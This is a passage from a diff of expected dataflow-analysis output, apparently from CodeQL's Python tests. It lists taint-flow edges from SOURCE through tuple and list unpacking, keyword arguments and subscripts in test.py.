Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:605:5:605:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | -| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | -| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:605:5:605:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | -| test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:584:31:584:36 | ControlFlowNode for SOURCE | -| test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | -| test.py:584:31:584:36 | ControlFlowNode for SOURCE | test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element] | test.py:587:6:587:14 | IterableSequence [List element] | -| test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:587:6:587:14 | IterableSequence [Tuple element at index 0] | -| test.py:587:5:587:19 | IterableElement [Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:587:5:587:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | test.py:587:5:587:19 | IterableElement [Tuple element at index 0] | -| test.py:587:6:587:14 | ControlFlowNode for List [List element] | test.py:587:5:587:19 | ControlFlowNode for List [List element, List element] | -| test.py:587:6:587:14 | ControlFlowNode for List [List element] | test.py:587:7:587:8 | SSA variable a1 | -| test.py:587:6:587:14 | ControlFlowNode for List [List element] | test.py:587:11:587:13 | IterableElement | -| test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:587:6:587:14 | IterableElement | test.py:587:6:587:14 | ControlFlowNode for List [List element] | -| test.py:587:6:587:14 | IterableSequence [List element] | test.py:587:6:587:14 | ControlFlowNode for List [List element] | -| test.py:587:6:587:14 | IterableSequence [List element] | test.py:587:6:587:14 | IterableElement | -| test.py:587:6:587:14 | IterableSequence [Tuple element at index 0] | test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0] | -| test.py:587:6:587:14 | IterableSequence [Tuple element at index 0] | test.py:587:6:587:14 | IterableElement | -| test.py:587:7:587:8 | SSA variable a1 | test.py:588:10:588:11 | ControlFlowNode for a1 | -| test.py:587:11:587:13 | IterableElement | test.py:587:11:587:13 | SSA variable a2 [List element] | -| test.py:587:11:587:13 | SSA variable a2 [List element] | test.py:590:12:590:13 | ControlFlowNode for a2 [List element] | -| test.py:587:11:587:13 | SSA variable a2 [List element] | test.py:591:10:591:11 | ControlFlowNode for a2 [List element] | -| test.py:590:12:590:13 | ControlFlowNode for a2 [List element] | test.py:590:12:590:16 | ControlFlowNode for Subscript | -| test.py:591:10:591:11 | ControlFlowNode for a2 [List element] | test.py:591:10:591:14 | ControlFlowNode for Subscript | -| test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:596:7:596:13 | IterableSequence [Tuple element at index 0] | -| test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:596:7:596:13 | IterableSequence [Tuple element at index 2] | -| test.py:596:7:596:8 | SSA variable a1 | test.py:597:10:597:11 | ControlFlowNode for a1 | -| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:596:7:596:8 | SSA variable a1 | -| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:596:11:596:13 | IterableElement | -| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | -| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:596:11:596:13 | IterableElement | -| test.py:596:7:596:13 | IterableSequence [Tuple element at index 0] | test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:596:7:596:13 | IterableSequence [Tuple element at index 2] | test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:596:11:596:13 | IterableElement | test.py:596:11:596:13 | SSA variable a2 [List element] | -| test.py:596:11:596:13 | SSA variable a2 [List element] | test.py:599:12:599:13 | ControlFlowNode for a2 [List element] | -| test.py:596:11:596:13 | SSA variable a2 [List element] | test.py:600:10:600:11 | ControlFlowNode for a2 [List element] | -| test.py:599:12:599:13 | ControlFlowNode for a2 [List element] | test.py:599:12:599:16 | ControlFlowNode for Subscript | -| test.py:600:10:600:11 | ControlFlowNode for a2 [List element] | test.py:600:10:600:14 | ControlFlowNode for Subscript | -| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:605:7:605:13 | IterableSequence [Tuple element at index 0] | -| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 2] | test.py:605:7:605:13 | IterableSequence [Tuple element at index 2] | -| test.py:605:5:605:19 | IterableElement [Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:605:5:605:19 | IterableElement [Tuple element at index 2] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 2] | -| test.py:605:5:605:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | test.py:605:5:605:19 | IterableElement [Tuple element at index 0] | -| test.py:605:5:605:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | test.py:605:5:605:19 | IterableElement [Tuple element at index 2] | -| test.py:605:7:605:8 | SSA variable a1 | test.py:606:10:606:11 | ControlFlowNode for a1 | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:605:7:605:8 | SSA variable a1 | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:605:11:605:13 | IterableElement | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 2] | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:605:11:605:13 | IterableElement | -| test.py:605:7:605:13 | IterableSequence [Tuple element at index 0] | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:605:7:605:13 | IterableSequence [Tuple element at index 2] | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:605:11:605:13 | IterableElement | test.py:605:11:605:13 | SSA variable a2 [List element] | -| test.py:605:11:605:13 | SSA variable a2 [List element] | test.py:608:12:608:13 | ControlFlowNode for a2 [List element] | -| test.py:605:11:605:13 | SSA variable a2 [List element] | test.py:609:10:609:11 | ControlFlowNode for a2 [List element] | -| test.py:608:12:608:13 | ControlFlowNode for a2 [List element] | test.py:608:12:608:16 | ControlFlowNode for Subscript | -| test.py:609:10:609:11 | ControlFlowNode for a2 [List element] | test.py:609:10:609:14 | ControlFlowNode for Subscript | -| test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:7:614:8 | SSA variable a1 | -| test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:11:614:13 | IterableElement | -| test.py:614:6:614:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:614:6:614:14 | IterableElement | test.py:614:6:614:14 | ControlFlowNode for List [List element] | -| test.py:614:6:614:14 | IterableSequence [List element] | test.py:614:6:614:14 | ControlFlowNode for List [List element] | -| test.py:614:6:614:14 | IterableSequence [List element] | test.py:614:6:614:14 | IterableElement | -| test.py:614:6:614:14 | IterableSequence [Tuple element at index 0] | test.py:614:6:614:14 | ControlFlowNode for List [Tuple element at index 0] | -| test.py:614:6:614:14 | IterableSequence [Tuple element at index 0] | test.py:614:6:614:14 | IterableElement | -| test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:614:6:614:14 | IterableSequence [List element] | -| test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:614:6:614:14 | IterableSequence [Tuple element at index 0] | -| test.py:614:7:614:8 | SSA variable a1 | test.py:615:10:615:11 | ControlFlowNode for a1 | -| test.py:614:11:614:13 | IterableElement | test.py:614:11:614:13 | SSA variable a2 [List element] | -| test.py:614:11:614:13 | SSA variable a2 [List element] | test.py:617:12:617:13 | ControlFlowNode for a2 [List element] | -| test.py:614:11:614:13 | SSA variable a2 [List element] | test.py:618:10:618:11 | ControlFlowNode for a2 [List element] | -| test.py:617:12:617:13 | ControlFlowNode for a2 [List element] | test.py:617:12:617:16 | ControlFlowNode for Subscript | -| test.py:618:10:618:11 | ControlFlowNode for a2 [List element] | test.py:618:10:618:14 | ControlFlowNode for Subscript | -| test.py:692:16:692:21 | ControlFlowNode for SOURCE | test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | +| test.py:342:11:342:16 | ControlFlowNode for SOURCE | test.py:342:11:342:17 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:342:11:342:17 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:342:10:342:21 | ControlFlowNode for Subscript | +| test.py:346:10:346:17 | ControlFlowNode for List [List element] | test.py:346:10:346:20 | ControlFlowNode for Subscript | +| test.py:346:11:346:16 | ControlFlowNode for SOURCE | test.py:346:10:346:17 | ControlFlowNode for List [List element] | +| test.py:350:10:350:22 | ControlFlowNode for Dict [Dictionary element at key s] | test.py:350:10:350:27 | ControlFlowNode for Subscript | +| test.py:350:16:350:21 | ControlFlowNode for SOURCE | test.py:350:10:350:22 | ControlFlowNode for Dict [Dictionary element at key s] | +| test.py:373:28:373:33 | ControlFlowNode for SOURCE | test.py:373:10:373:34 | ControlFlowNode for second() | +| test.py:381:30:381:35 | ControlFlowNode for SOURCE | test.py:381:10:381:36 | ControlFlowNode for second() | +| test.py:389:10:389:43 | KwUnpacked b | test.py:389:10:389:43 | ControlFlowNode for second() | +| test.py:389:30:389:42 | ControlFlowNode for Dict [Dictionary element at key b] | test.py:389:10:389:43 | KwUnpacked b | +| test.py:389:36:389:41 | ControlFlowNode for SOURCE | test.py:389:30:389:42 | ControlFlowNode for Dict [Dictionary element at key b] | +| test.py:397:10:397:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | test.py:397:10:397:39 | ControlFlowNode for f_extra_pos() | +| test.py:397:33:397:38 | ControlFlowNode for SOURCE | test.py:397:10:397:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | +| test.py:405:10:405:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | test.py:405:10:405:45 | ControlFlowNode for f_extra_keyword() | +| test.py:405:39:405:44 | ControlFlowNode for SOURCE | test.py:405:10:405:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | +| test.py:426:10:426:15 | ControlFlowNode for SOURCE | test.py:426:10:426:38 | ControlFlowNode for IfExp | +| test.py:434:34:434:39 | ControlFlowNode for SOURCE | test.py:434:10:434:39 | ControlFlowNode for IfExp | +| test.py:458:12:458:17 | ControlFlowNode for SOURCE | test.py:458:10:458:18 | ControlFlowNode for f() | +| test.py:465:28:465:33 | ControlFlowNode for SOURCE | test.py:465:10:465:34 | ControlFlowNode for second() | +| test.py:479:30:479:35 | ControlFlowNode for SOURCE | test.py:479:10:479:36 | ControlFlowNode for second() | +| test.py:493:10:493:43 | KwUnpacked b | test.py:493:10:493:43 | ControlFlowNode for second() | +| test.py:493:30:493:42 | ControlFlowNode for Dict [Dictionary element at key b] | test.py:493:10:493:43 | KwUnpacked b | +| test.py:493:36:493:41 | ControlFlowNode for SOURCE | test.py:493:30:493:42 | ControlFlowNode for Dict [Dictionary element at key b] | +| test.py:498:10:498:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | test.py:498:10:498:39 | ControlFlowNode for f_extra_pos() | +| test.py:498:33:498:38 | ControlFlowNode for SOURCE | test.py:498:10:498:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | +| test.py:503:10:503:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | test.py:503:10:503:45 | ControlFlowNode for f_extra_keyword() | +| test.py:503:39:503:44 | ControlFlowNode for SOURCE | test.py:503:10:503:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | +| test.py:515:9:515:14 | ControlFlowNode for SOURCE | test.py:517:10:517:10 | ControlFlowNode for a | +| test.py:515:9:515:14 | ControlFlowNode for SOURCE | test.py:522:10:522:10 | ControlFlowNode for b | +| test.py:527:10:527:15 | ControlFlowNode for SOURCE | test.py:527:10:527:26 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:527:10:527:26 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:528:5:528:8 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:528:5:528:5 | SSA variable a | test.py:529:10:529:10 | ControlFlowNode for a | +| test.py:528:5:528:8 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:528:5:528:5 | SSA variable a | +| test.py:535:10:535:15 | ControlFlowNode for SOURCE | test.py:535:10:535:36 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:535:10:535:15 | ControlFlowNode for SOURCE | test.py:535:30:535:35 | ControlFlowNode for SOURCE | +| test.py:535:10:535:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:536:5:536:13 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:535:10:535:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | test.py:536:5:536:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | +| test.py:535:19:535:35 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:535:10:535:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | +| test.py:535:30:535:35 | ControlFlowNode for SOURCE | test.py:535:19:535:35 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:536:5:536:5 | SSA variable a | test.py:537:10:537:10 | ControlFlowNode for a | +| test.py:536:5:536:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:536:5:536:5 | SSA variable a | +| test.py:536:5:536:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | test.py:536:9:536:12 | IterableSequence [Tuple element at index 1] | +| test.py:536:9:536:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:536:5:536:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | +| test.py:536:9:536:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:536:12:536:12 | SSA variable c | +| test.py:536:9:536:12 | IterableSequence [Tuple element at index 1] | test.py:536:9:536:12 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:536:12:536:12 | SSA variable c | test.py:539:10:539:10 | ControlFlowNode for c | +| test.py:544:9:544:33 | ControlFlowNode for List [List element, List element, List element, List element] | test.py:545:5:545:14 | IterableSequence [List element, List element, List element, List element] | +| test.py:544:10:544:21 | ControlFlowNode for List [List element, List element, List element] | test.py:544:9:544:33 | ControlFlowNode for List [List element, List element, List element, List element] | +| test.py:544:11:544:20 | ControlFlowNode for List [List element, List element] | test.py:544:10:544:21 | ControlFlowNode for List [List element, List element, List element] | +| test.py:544:12:544:19 | ControlFlowNode for List [List element] | test.py:544:11:544:20 | ControlFlowNode for List [List element, List element] | +| test.py:544:13:544:18 | ControlFlowNode for SOURCE | test.py:544:12:544:19 | ControlFlowNode for List [List element] | +| test.py:545:5:545:11 | ControlFlowNode for List [List element, List element, List element] | test.py:545:5:545:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | +| test.py:545:5:545:11 | ControlFlowNode for List [List element, List element, List element] | test.py:545:6:545:10 | IterableSequence [List element, List element] | +| test.py:545:5:545:11 | IterableElement [List element, List element] | test.py:545:5:545:11 | ControlFlowNode for List [List element, List element, List element] | +| test.py:545:5:545:11 | IterableSequence [List element, List element, List element] | test.py:545:5:545:11 | ControlFlowNode for List [List element, List element, List element] | +| test.py:545:5:545:11 | IterableSequence [List element, List element, List element] | test.py:545:5:545:11 | IterableElement [List element, List element] | +| test.py:545:5:545:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | test.py:545:5:545:11 | IterableSequence [List element, List element, List element] | +| test.py:545:5:545:14 | IterableElement [List element, List element, List element] | test.py:545:5:545:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | +| test.py:545:5:545:14 | IterableSequence [List element, List element, List element, List element] | test.py:545:5:545:14 | IterableElement [List element, List element, List element] | +| test.py:545:6:545:10 | ControlFlowNode for List [List element, List element] | test.py:545:5:545:11 | ControlFlowNode for List [List element, List element, List element] | +| test.py:545:6:545:10 | ControlFlowNode for List [List element, List element] | test.py:545:7:545:9 | IterableSequence [List element] | +| test.py:545:6:545:10 | IterableElement [List element] | test.py:545:6:545:10 | ControlFlowNode for List [List element, List element] | +| test.py:545:6:545:10 | IterableSequence [List element, List element] | test.py:545:6:545:10 | ControlFlowNode for List [List element, List element] | +| test.py:545:6:545:10 | IterableSequence [List element, List element] | test.py:545:6:545:10 | IterableElement [List element] | +| test.py:545:7:545:9 | ControlFlowNode for List [List element] | test.py:545:6:545:10 | ControlFlowNode for List [List element, List element] | +| test.py:545:7:545:9 | ControlFlowNode for List [List element] | test.py:545:8:545:8 | SSA variable a | +| test.py:545:7:545:9 | IterableElement | test.py:545:7:545:9 | ControlFlowNode for List [List element] | +| test.py:545:7:545:9 | IterableSequence [List element] | test.py:545:7:545:9 | ControlFlowNode for List [List element] | +| test.py:545:7:545:9 | IterableSequence [List element] | test.py:545:7:545:9 | IterableElement | +| test.py:545:8:545:8 | SSA variable a | test.py:546:10:546:10 | ControlFlowNode for a | +| test.py:552:10:552:15 | ControlFlowNode for SOURCE | test.py:552:10:552:34 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:552:10:552:15 | ControlFlowNode for SOURCE | test.py:552:18:552:23 | ControlFlowNode for SOURCE | +| test.py:552:10:552:34 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:553:5:553:12 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:552:10:552:34 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:553:5:553:12 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:552:18:552:23 | ControlFlowNode for SOURCE | test.py:552:10:552:34 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:553:5:553:5 | SSA variable a | test.py:554:10:554:10 | ControlFlowNode for a | +| test.py:553:5:553:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:553:5:553:5 | SSA variable a | +| test.py:553:5:553:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:553:8:553:9 | IterableElement | +| test.py:553:5:553:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:553:8:553:9 | IterableElement | +| test.py:553:8:553:9 | IterableElement | test.py:553:8:553:9 | SSA variable b [List element] | +| test.py:553:8:553:9 | SSA variable b [List element] | test.py:556:10:556:10 | ControlFlowNode for b [List element] | +| test.py:556:10:556:10 | ControlFlowNode for b [List element] | test.py:556:10:556:13 | ControlFlowNode for Subscript | +| test.py:562:10:562:61 | ControlFlowNode for List [List element, List element] | test.py:565:6:565:23 | IterableSequence [List element, List element] | +| test.py:562:10:562:61 | ControlFlowNode for List [List element, List element] | test.py:573:5:573:24 | ControlFlowNode for List [List element, List element] | +| test.py:562:10:562:61 | ControlFlowNode for List [List element, List element] | test.py:573:5:573:24 | IterableSequence [List element, List element] | +| test.py:562:10:562:61 | ControlFlowNode for List [List element, List element] | test.py:581:6:581:23 | IterableSequence [List element, List element] | +| test.py:562:11:562:37 | ControlFlowNode for List [List element] | test.py:562:10:562:61 | ControlFlowNode for List [List element, List element] | +| test.py:562:12:562:17 | ControlFlowNode for SOURCE | test.py:562:11:562:37 | ControlFlowNode for List [List element] | +| test.py:562:12:562:17 | ControlFlowNode for SOURCE | test.py:562:31:562:36 | ControlFlowNode for SOURCE | +| test.py:562:12:562:17 | ControlFlowNode for SOURCE | test.py:562:41:562:46 | ControlFlowNode for SOURCE | +| test.py:562:31:562:36 | ControlFlowNode for SOURCE | test.py:562:11:562:37 | ControlFlowNode for List [List element] | +| test.py:562:31:562:36 | ControlFlowNode for SOURCE | test.py:562:41:562:46 | ControlFlowNode for SOURCE | +| test.py:562:40:562:47 | ControlFlowNode for List [List element] | test.py:562:10:562:61 | ControlFlowNode for List [List element, List element] | +| test.py:562:41:562:46 | ControlFlowNode for SOURCE | test.py:562:40:562:47 | ControlFlowNode for List [List element] | +| test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:565:7:565:16 | IterableSequence [List element] | +| test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:565:7:565:16 | IterableSequence [Tuple element at index 0] | +| test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | test.py:565:7:565:16 | IterableSequence [Tuple element at index 1] | +| test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:565:7:565:16 | IterableSequence [Tuple element at index 2] | +| test.py:565:6:565:23 | IterableElement [List element] | test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:565:6:565:23 | IterableSequence [List element, List element] | test.py:565:6:565:23 | IterableElement [List element] | +| test.py:565:7:565:8 | SSA variable a1 | test.py:566:10:566:11 | ControlFlowNode for a1 | +| test.py:565:7:565:16 | ControlFlowNode for Tuple [List element] | test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:565:7:565:8 | SSA variable a1 | +| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | +| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:565:11:565:12 | SSA variable a2 | +| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:565:15:565:16 | SSA variable a3 | +| test.py:565:7:565:16 | IterableElement | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:565:7:565:16 | IterableElement | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:565:7:565:16 | IterableElement | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:565:7:565:16 | IterableSequence [List element] | test.py:565:7:565:16 | ControlFlowNode for Tuple [List element] | +| test.py:565:7:565:16 | IterableSequence [List element] | test.py:565:7:565:16 | IterableElement | +| test.py:565:7:565:16 | IterableSequence [Tuple element at index 0] | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:565:7:565:16 | IterableSequence [Tuple element at index 1] | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:565:7:565:16 | IterableSequence [Tuple element at index 2] | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:565:11:565:12 | SSA variable a2 | test.py:567:12:567:13 | ControlFlowNode for a2 | +| test.py:565:15:565:16 | SSA variable a3 | test.py:568:10:568:11 | ControlFlowNode for a3 | +| test.py:573:5:573:24 | ControlFlowNode for List [List element, List element] | test.py:573:7:573:16 | IterableSequence [List element] | +| test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:573:7:573:16 | IterableSequence [Tuple element at index 0] | +| test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 1] | test.py:573:7:573:16 | IterableSequence [Tuple element at index 1] | +| test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 2] | test.py:573:7:573:16 | IterableSequence [Tuple element at index 2] | +| test.py:573:5:573:24 | IterableElement [List element] | test.py:573:5:573:24 | ControlFlowNode for List [List element, List element] | +| test.py:573:5:573:24 | IterableSequence [List element, List element] | test.py:573:5:573:24 | IterableElement [List element] | +| test.py:573:7:573:8 | SSA variable a1 | test.py:574:10:574:11 | ControlFlowNode for a1 | +| test.py:573:7:573:16 | ControlFlowNode for Tuple [List element] | test.py:573:5:573:24 | ControlFlowNode for List [List element, List element] | +| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:573:7:573:8 | SSA variable a1 | +| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 1] | +| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:573:11:573:12 | SSA variable a2 | +| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 2] | +| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:573:15:573:16 | SSA variable a3 | +| test.py:573:7:573:16 | IterableElement | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:573:7:573:16 | IterableElement | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:573:7:573:16 | IterableElement | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:573:7:573:16 | IterableSequence [List element] | test.py:573:7:573:16 | ControlFlowNode for Tuple [List element] | +| test.py:573:7:573:16 | IterableSequence [List element] | test.py:573:7:573:16 | IterableElement | +| test.py:573:7:573:16 | IterableSequence [Tuple element at index 0] | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:573:7:573:16 | IterableSequence [Tuple element at index 1] | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:573:7:573:16 | IterableSequence [Tuple element at index 2] | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:573:11:573:12 | SSA variable a2 | test.py:575:12:575:13 | ControlFlowNode for a2 | +| test.py:573:15:573:16 | SSA variable a3 | test.py:576:10:576:11 | ControlFlowNode for a3 | +| test.py:581:6:581:17 | ControlFlowNode for List [List element] | test.py:581:6:581:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:581:6:581:17 | ControlFlowNode for List [List element] | test.py:581:7:581:8 | SSA variable a1 | +| test.py:581:6:581:17 | ControlFlowNode for List [List element] | test.py:581:11:581:12 | SSA variable a2 | +| test.py:581:6:581:17 | ControlFlowNode for List [List element] | test.py:581:15:581:16 | SSA variable a3 | +| test.py:581:6:581:17 | IterableElement | test.py:581:6:581:17 | ControlFlowNode for List [List element] | +| test.py:581:6:581:17 | IterableSequence [List element] | test.py:581:6:581:17 | ControlFlowNode for List [List element] | +| test.py:581:6:581:17 | IterableSequence [List element] | test.py:581:6:581:17 | IterableElement | +| test.py:581:6:581:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:581:6:581:17 | IterableSequence [List element] | +| test.py:581:6:581:23 | IterableElement [List element] | test.py:581:6:581:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:581:6:581:23 | IterableSequence [List element, List element] | test.py:581:6:581:23 | IterableElement [List element] | +| test.py:581:7:581:8 | SSA variable a1 | test.py:582:10:582:11 | ControlFlowNode for a1 | +| test.py:581:11:581:12 | SSA variable a2 | test.py:583:12:583:13 | ControlFlowNode for a2 | +| test.py:581:15:581:16 | SSA variable a3 | test.py:584:10:584:11 | ControlFlowNode for a3 | +| test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:593:5:593:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | +| test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | 